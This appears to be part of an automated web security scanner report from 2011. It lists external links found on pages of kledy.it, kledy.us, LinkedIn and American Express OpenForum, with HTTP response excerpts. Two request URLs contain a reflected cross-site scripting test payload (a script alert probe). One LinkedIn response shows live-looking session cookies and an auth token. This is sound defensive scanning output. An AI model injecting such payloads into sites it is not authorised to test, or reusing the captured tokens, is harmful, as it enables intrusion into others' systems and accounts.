  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Stumbleupon" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/icon-stumbleupon.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Stumbleupon
...[SNIP]...
</a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Windows Live" href="https://favorites.live.com/quickadd.aspx?url=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/windowslive.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to Windows Live" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to squidoo" href="http://www.squidoo.com/lensmaster/bookmark?http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F"><img src="http://www.kledy.es/modules/social_bookmark/images/squidoo.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to squidoo" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to yahoo" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/yahoomyweb.png" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to yahoo" /></a>

  <a title="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to google" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.comunicado-prensa.com%2Fcomunicado-de-prensa%2Fcinco%25C2%25A0minutos%25C2%25A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos%2F&title=Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos"><img src="http://www.kledy.es/modules/social_bookmark/images/googlebookmarks.gif" border="0" alt="submit 'Cinco..minutos..para la eternidad ... un libro de fotos de boda en pocos pasos' to google" />
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.comunicado-prensa.com/comunicado-de-prensa/cinco%C2%A0minutos%C2%A0para-la-eternidad-un-libro-de-fotos-de-boda-en-pocos-pasos/+thanks+K...l...e...d...y.......e...s+@+http://www.kledy.es" target="_blank">Tweet This</a>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/10711909126097144647865.js"></script>
...[SNIP]...
<img src="/iconpics/cart.png" align=top> <a href="http://shop.kledy.de" target="_blank">Compare Prices</a>
...[SNIP]...
</a>
<a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a>
...[SNIP]...
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

20.202. http://www.kledy.it/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.it
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1

The response contains the following links to other domains:

http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://it.bigpoint.com/
http://open.thumbshots.org/image.aspx?url=http://it.bigpoint.com/
http://open.thumbshots.org/image.aspx?url=http://www.corriereinformazione.it//index.php?option=com_content&task=view&id=4136
http://open.thumbshots.org/image.aspx?url=http://www.danberitalia.com
http://open.thumbshots.org/image.aspx?url=http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html
http://open.thumbshots.org/image.aspx?url=http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html
http://open.thumbshots.org/image.aspx?url=http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html
http://open.thumbshots.org/image.aspx?url=http://www.seafight.it/
http://open.thumbshots.org/image.aspx?url=http://www.upnews.it/televisione/lie-to-me-s03e06-3x06-sub-ita-streaming/
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://shop.kledy.de/
http://tracker.icerocket.com/services/collector.js
http://twitter.com/home/?status=Reading+http://it.bigpoint.com/+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.corriereinformazione.it//index.php?option=com_content&task=view&id=4136+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.danberitalia.com+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.seafight.it/+thanks+Kledy.it+@+http://www.kledy.it
http://twitter.com/home/?status=Reading+http://www.upnews.it/televisione/lie-to-me-s03e06-3x06-sub-ita-streaming/+thanks+Kledy.it+@+http://www.kledy.it
http://videos.video-loader.com/sp/350119091292093356328905.js
http://www.chattino.com/
http://www.danberitalia.com/
http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html
http://www.kledy.co.uk/
http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html
http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html
http://www.thumbshots.com/

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:38 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 79976

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</a> <a href="http://www.kledy.co.uk"><img src="/images/uk.png" style="border:0" align="top">
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<b><a href="http://www.chattino.com/" >Chat Roulette Italiana Gratis - Chattino.com "Clicca qui"</a>
...[SNIP]...
</a> 58 giorni fa

                                   (<a href="http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html" target="_blank" >http://www.roulettesuperpieno.com</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html" border="0" =http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.roulettesuperpieno.com/news/il-gioco-multiplayer.html+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.seafight.it/" border="0" =http://www.seafight.it/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.seafight.it/+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
</a> 72 giorni fa

                                   (<a href="http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html" target="_blank" >http://www.roulettesuperpieno.com</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html" border="0" =http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.roulettesuperpieno.com/news/prova-le-nuove-slot-machine-online-microgaming.html+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.upnews.it/televisione/lie-to-me-s03e06-3x06-sub-ita-streaming/" border="0" =http://www.upnews.it/televisione/lie-to-me-s03e06-3x06-sub-ita-streaming/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.upnews.it/televisione/lie-to-me-s03e06-3x06-sub-ita-streaming/+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
</a> 101 giorni fa

                                   (<a href="http://www.danberitalia.com" target="_blank" >http://www.danberitalia.com</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.danberitalia.com" border="0" =http://www.danberitalia.com" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.danberitalia.com+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
</a> 103 giorni fa

                                   (<a href="http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html" target="_blank" >http://www.energia-ok.com</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html" border="0" =http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.energia-ok.com/2010487-enel-ed-il-fatto-quotidiano-tutto-rientrato.html+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://www.corriereinformazione.it//index.php?option=com_content&task=view&id=4136" border="0" =http://www.corriereinformazione.it//index.php?option=com_content&task=view&id=4136" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.corriereinformazione.it//index.php?option=com_content&task=view&id=4136+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
</a> 125 giorni fa

                                   (<a href="http://it.bigpoint.com/" target="_blank" >http://it.bigpoint.com</a>
...[SNIP]...
<div class="storycontent">
                               <img src="http://open.thumbshots.org/image.aspx?url=http://it.bigpoint.com/" border="0" =http://it.bigpoint.com/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://it.bigpoint.com/+thanks+Kledy.it+@+http://www.kledy.it" target="_blank">Tweet This</a>
...[SNIP]...
<center><script type="text/javascript" src="http://videos.video-loader.com/sp/350119091292093356328905.js"></script>
...[SNIP]...
<img src="/iconpics/cart.png" align=top> <a href="http://shop.kledy.de" target="_blank">Compare Prices</a>
...[SNIP]...
</a>
<a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

20.203. http://www.kledy.us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.us
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1

The response contains the following links to other domains:

http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/
http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js
http://chattino.com/
http://monavie-emv.net/
http://open.thumbshots.org/image.aspx?url=http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/
http://open.thumbshots.org/image.aspx?url=http://chattino.com/
http://open.thumbshots.org/image.aspx?url=http://monavie-emv.net/
http://open.thumbshots.org/image.aspx?url=http://www.bbc.co.uk/news/technology-10883404
http://open.thumbshots.org/image.aspx?url=http://www.diyuniverse.com/
http://open.thumbshots.org/image.aspx?url=http://www.thaihotels2u.com
http://open.thumbshots.org/image.aspx?url=http://www.tuhinhossainphotography.com
http://open.thumbshots.org/image.aspx?url=http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://shop.kledy.de/
http://tracker.icerocket.com/services/collector.js
http://twitter.com/home/?status=Reading+http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://chattino.com/+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://monavie-emv.net/+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://www.bbc.co.uk/news/technology-10883404+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://www.diyuniverse.com/+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://www.thaihotels2u.com+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://www.tuhinhossainphotography.com+thanks+Kledy.us+@+http://www.kledy.us
http://twitter.com/home/?status=Reading+http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/+thanks+Kledy.us+@+http://www.kledy.us
http://videos.video-loader.com/sp/50811909125880119639927.js
http://www.bbc.co.uk/news/technology-10883404
http://www.chattino.com/
http://www.diyuniverse.com/
http://www.kledy.co.uk/
http://www.thaihotels2u.com/
http://www.thumbshots.com/
http://www.tuhinhossainphotography.com/
http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 80384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

...[SNIP]...
</a> <a href="http://www.kledy.co.uk"><img src="/images/uk.png" style="border:0" align="top">
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<b><a href="http://www.chattino.com/" >Free WebCam Chat</a>
...[SNIP]...
</a> 141 days ago

                                   (<a href="http://chattino.com/" target="_blank" >http://chattino.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://chattino.com/" border="0" =http://chattino.com/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://chattino.com/+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 170 days ago

                                   (<a href="http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/" target="_blank" >http://airconditioningrepair1.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/" border="0" =http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://airconditioningrepair1.com/homeheatingrepairtips/leads-to-help-you-in-acquiring-the-best-cast-iron-radiators/+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 171 days ago

                                   (<a href="http://www.diyuniverse.com/" target="_blank" >http://www.diyuniverse.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.diyuniverse.com/" border="0" =http://www.diyuniverse.com/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.diyuniverse.com/+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 171 days ago

                                   (<a href="http://monavie-emv.net/" target="_blank" >http://monavie-emv.net</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://monavie-emv.net/" border="0" =http://monavie-emv.net/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://monavie-emv.net/+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 172 days ago

                                   (<a href="http://www.thaihotels2u.com" target="_blank" >http://www.thaihotels2u.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.thaihotels2u.com" border="0" =http://www.thaihotels2u.com" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.thaihotels2u.com+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 174 days ago

                                   (<a href="http://www.tuhinhossainphotography.com" target="_blank" >http://www.tuhinhossainphotography.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.tuhinhossainphotography.com" border="0" =http://www.tuhinhossainphotography.com" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.tuhinhossainphotography.com+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 174 days ago

                                   (<a href="http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/" target="_blank" >http://www.yourcelebquestions.com</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/" border="0" =http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.yourcelebquestions.com/i-am-fighting-for-my-child-oksana-grigorieva-speaks-to-cameras/+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
</a> 176 days ago

                                   (<a href="http://www.bbc.co.uk/news/technology-10883404" target="_blank" >http://www.bbc.co.uk</a>
...[SNIP]...
<div class="storycontent">
               <img src="http://open.thumbshots.org/image.aspx?url=http://www.bbc.co.uk/news/technology-10883404" border="0" =http://www.bbc.co.uk/news/technology-10883404" style="float:left;margin-right:5px"/>
                   <span class="news-body-text">
...[SNIP]...
<span class="twitter" id="linksummaryTwitter"><a href="http://twitter.com/home/?status=Reading+http://www.bbc.co.uk/news/technology-10883404+thanks+Kledy.us+@+http://www.kledy.us" target="_blank">Tweet This</a>
...[SNIP]...
<center>
<script type="text/javascript" src="http://videos.video-loader.com/sp/50811909125880119639927.js"></script>
...[SNIP]...
<img src="/iconpics/cart.png" align=top> <a href="http://shop.kledy.de" target="_blank">Compare Prices</a>
...[SNIP]...
</a>
<a href="http://www.thumbshots.com" target="_blank" title="Thumbnails Screenshots by Thumbshots">Thumbnail Screenshots by Thumbshots</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
<br>
<script src="http://cdn.wibiya.com/Toolbars/dir_0003/Toolbar_3508/Loader_3508.js" type="text/javascript"></script>
...[SNIP]...

20.204. http://www.linkedin.com/groupInvitation previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkedin.com
Path:	/groupInvitation

Issue detail

The page was loaded from a URL containing a query string:

http://www.linkedin.com/groupInvitation?groupID=2733523&sharedKey=5E31B541BDFC

The response contains the following links to other domains:

http://b.scorecardresearch.com/b?c1=2&c2=6402952&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1
http://pixel.quantserve.com/pixel/p-b3sGjMtCFrexE.gif
http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-603751h&cg=0&cc=1&ts=noscript
http://www.quantcast.com/p-b3sGjMtCFrexE

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="CAO DSP COR CUR ADMi DEVi TAIi PSAi PSDi IVAi IVDi CONi OUR DELi SAMi UNRi PUBi OTRi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT POL PRE"
Expires: 0
Pragma: no-cache
Cache-control: no-cache, must-revalidate, max-age=0
Set-Cookie: leo_auth_token="GST:81Ntwe9iDD4QGKvfikND_eZCWviQhRwLC5ND6-fVFW40GUhqlxvkiN:1296943604:a55b49da2b809c5803deeba2150e2400b03f2c3c"; Version=1; Max-Age=1799; Expires=Sat, 05-Feb-2011 22:36:43 GMT; Path=/
Set-Cookie: s_leo_auth_token="delete me"; Version=1; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSESSIONID="ajax:9057257785797027261"; Version=1; Path=/
Set-Cookie: visit=G; Expires=Fri, 24-Feb-2079 01:20:51 GMT; Path=/
Set-Cookie: bcookie="v=1&f17346a4-a48c-4898-b2a9-e96cf0bd0830"; Version=1; Domain=linkedin.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:20:51 GMT; Path=/
Set-Cookie: lang="v=2&lang=en&c="; Version=1; Domain=linkedin.com; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sat, 05 Feb 2011 22:06:44 GMT
Set-Cookie: NSC_MC_QH_MFP=ffffffffaf19965b45525d5f4f58455e445a4a42198c;expires=Sat, 05-Feb-2011 22:36:59 GMT;path=/;httponly
Content-Length: 15097

<!DOCTYPE html>
<html lang="en">
<head>

<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="pageImpressionID" conte
...[SNIP]...
<noscript>
<a href="http://www.quantcast.com/p-b3sGjMtCFrexE" target="_blank"><img src="http://pixel.quantserve.com/pixel/p-b3sGjMtCFrexE.gif" style="display: none;" height="1" width="1" alt=""></a>
...[SNIP]...
<noscript>

<img src="http://b.scorecardresearch.com/b?c1=2&c2=6402952&c3=&c4=&c5=&c6=&c15=&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="">

</noscript>
...[SNIP]...
<noscript>

<img src="http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-603751h&cg=0&cc=1&ts=noscript" width="1" height="1" alt="" style="display:none">

</noscript>
...[SNIP]...

20.205. https://www.openforum.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

The response contains the following links to other domains:

https://amexopendev.122.2o7.net/b/ss/amexopendev/1/H.17--NS/0
https://axptravel.americanexpress.com/consumertravel/travel.do?
https://axptravel.americanexpress.com/consumertravel/travel.do?a=travel-offers&us_nu=subtab&inav=menu_travel_viewoffers
https://axptravel.americanexpress.com/consumertravel/travel.do?a=travel-planning&us_nu=subtab&inav=menu_travel_exploreresources
https://axptravel.americanexpress.com/consumertravel/travel.do?inav=footer_booktravel
https://axptravel.americanexpress.com/consumertravel/travel.do?us_nu=subtab&inav=menu_travel_book
https://home.americanexpress.com/home/global_splash.html?inav=iNavUtilChangeCountry
https://home.americanexpress.com/home/mt_personal.shtml
https://home.americanexpress.com/home/mt_personal.shtml?inav=iNavLnkLog
https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=dd&inav=open_summaccts
https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=logincontrol&inav=menu_acct_summary
https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=logincontrol&inav=menu_myacct_acctsum
https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=logincontrol&inav=menu_myacct_smallbusiness
https://online.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=subtab&inav=open_acctmngt2
https://online.americanexpress.com/myca/estmt/us/list.do?request_type=authreg_Statement&Face=en_US&BPIndex=1&sorted_index=0&inav=open_onlinestatement
https://online.americanexpress.com/myca/logon/us/action?request_type=LogLogoffHandler&Face=en_US&inav=Logout
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm?request_type=authreg_mr&Face=en_US&inav=menu_myacct_mrpointsum
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm?request_type=authreg_mr&Face=en_US&inav=menu_rewards_pointsummary
https://secure.americanexpress.com/NextGenNavigation/css/inav_ngi_nested.css
https://secure.americanexpress.com/NextGenNavigation/img/clear.gif
https://secure.americanexpress.com/NextGenNavigation/img/logo_bluebox.gif
https://secure.americanexpress.com/NextGenNavigation/js/commonFunctions.js
https://secure.aperture.displaymarketplace.com/audmeasure.gif?liveconclientID=4045860080196&PageID=11&EventType=view&rand=988B6E8
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.americanexpress.com/affiliate?inav=footer_affiliates
https://www.americanexpress.com/airlines-credit-card/?inav=footer_airline_credit_cards
https://www.americanexpress.com/credit-card-rewards/?inav=footer_credit_card_rewards
https://www.americanexpress.com/customerservice?inav=pen_acctpreferences
https://www.americanexpress.com/gift/giftcardslanding.shtml?&inav=open_bizgiftcards
https://www.americanexpress.com/gift/giftcardslanding.shtml?inav=footer_giftcards
https://www.americanexpress.com/gift/giftcardslanding.shtml?inav=menu_cards_giftcards
https://www.americanexpress.com/gold-card/?inav=footer_gold_card
https://www.americanexpress.com/membershiprewards
https://www.americanexpress.com/no-annual-fee-credit-cards/?inav=footer_noannual_credit_cards
https://www201.americanexpress.com/MobileWeb/index.jsp?inav=footer_mobile
https://www201.americanexpress.com/MobileWeb/index.jsp?intlink=selfservices_mobile
https://www201.americanexpress.com/eaol/statuscheck/welcome.jsp?intlink=opennav_dd&inav=Check Application Status
https://www201.americanexpress.com/en/cards?request_type=AddsuppMain&inav=open_employecards
https://www201.americanexpress.com/en/cards?request_type=AddsuppMain&inav=open_employeecards
https://www209.americanexpress.com/merchant/mainpagedom/authreg_showMainpage.do?ssolang=en_US&ssobrand=SOMSET&dispute=N&inav=menu_myacct_merchantacct
https://www209.americanexpress.com/merchant/marketing-data/pages/home?inav=menu_business_merchhome
https://www209.americanexpress.com/merchant/marketing-data/pages/home?inav=menu_myacct_merchantsolutions
https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms?inav=menu_business_merchmarket
